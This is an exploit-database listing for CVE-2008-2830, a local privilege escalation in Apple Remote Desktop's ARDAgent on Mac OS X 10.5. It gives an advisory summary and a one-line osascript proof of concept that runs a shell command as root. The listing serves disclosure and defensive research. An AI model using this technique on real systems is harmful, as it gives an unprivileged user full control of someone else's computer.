Sploitus

Exploit for Apple Mac OSX 10.x - Applescript ARDAgent Shell Privilege Escalation

CVE-2008-2830

exploitdb · 2008-06-19

Exploit Code

MARKDOWN10 lines
## https://sploitus.com/exploit?id=EDB-ID:31940
source: https://www.securityfocus.com/bid/29831/info

Mac OS X is prone to a local privilege-escalation vulnerability affecting ARDAgent (Apple Remote Desktop).

Successful exploits allow local attackers to execute arbitrary code with superuser privileges, completely compromising the affected computer.

This issue is confirmed to affect Mac OS X 10.5 versions; earlier versions may also be vulnerable.

osascript -e 'tell app "ARDAgent" to do shell script "whoami"';